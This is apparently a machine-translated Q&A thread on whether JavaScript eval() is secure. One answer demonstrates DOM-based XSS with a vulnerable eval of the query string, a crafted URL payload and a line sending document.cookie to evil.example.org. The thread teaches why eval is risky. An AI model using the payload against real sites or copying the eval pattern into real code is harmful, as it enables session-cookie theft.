javascript eval()和安全性

javascript eval() and security

developer.mozilla.org说:

Don't use eval needlessly! eval() is a dangerous function, which
executes the code it's passed with the privileges of the caller.

号

https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/eval

例如,任何恶意用户都可以打开chrome调试器,并修改正在执行的javascript代码。所以他可以把自己的职能付诸实施等等。

一般来说,是否有"安全的javascript代码"之类的东西?


Any malicious user can turn on chrome debugger for example, and modify
javascript code that is being executed. So he can put his own
functions to be executed etc.

号

是的,用户可以使用开发人员工具使用JavaScript"攻击"自己的客户端会话。

然而,eval和开发人员工具之间的区别在于eval可以在可共享链接中执行操作。攻击者可以向受害者发送一个链接,利用代码评估功能。

采用此代码:

1
eval('alert("Your query string was ' + unescape(document.location.search) + '");');

现在,如果查询字符串是?foo,您只需得到一个警告对话框,其中说明以下内容:Your query string was ?foo。

现在假设查克给鲍勃发了一封邮件,主题是"看看这个伟大的链接!".

连接结构如下:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中www.example.com是您的网站。

这会将eval()执行的代码修改为

1
2
alert("Your query string was hello");
alert(document.cookie+"");

号

(为了清晰起见,我添加了新行)。这将显示一个警报框,显示所有非httponly cookie。

进入下一阶段,攻击者可以构建一个图像链接,将会话cookie发送给自己。

1
new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这被称为跨站点脚本(XSS)攻击。实际上,类型是基于DOM的XSS,具体来说。

Is there such thing as"secure javascript code" in general?

号

是的,对XSS安全的代码可以被认为是"安全的javascript代码"——它可以保护当前用户免受跨域攻击。但是,服务器端代码"信任"当前的最终用户不会使用开发人员工具修改javascript代码或变量以达到自己的优势,但这并不安全。

因此,安全的javascript代码就是这样的代码,它只保护当前用户。


是的,当然有安全的javascript。您总是可以在浏览器中修改javascript,就像修改机器上运行的python程序一样。

能够在您自己的机器上改变代码的工作方式是很琐碎的,并不是一个立即的安全问题。

eval()经常被认为是有问题的,因为它往往是用用户生成的输入来执行的(我认为真正的不正确的用例很少)。@silverlightfox在他出色的回答中解释了为什么这可能是一个问题。归根结底,Eval()可能被用来在别人的机器上运行代码,这是一个安全问题。

请注意,这并不是单独针对javascript的,大多数语言都有类似的命名函数。这些功能附带类似的警告。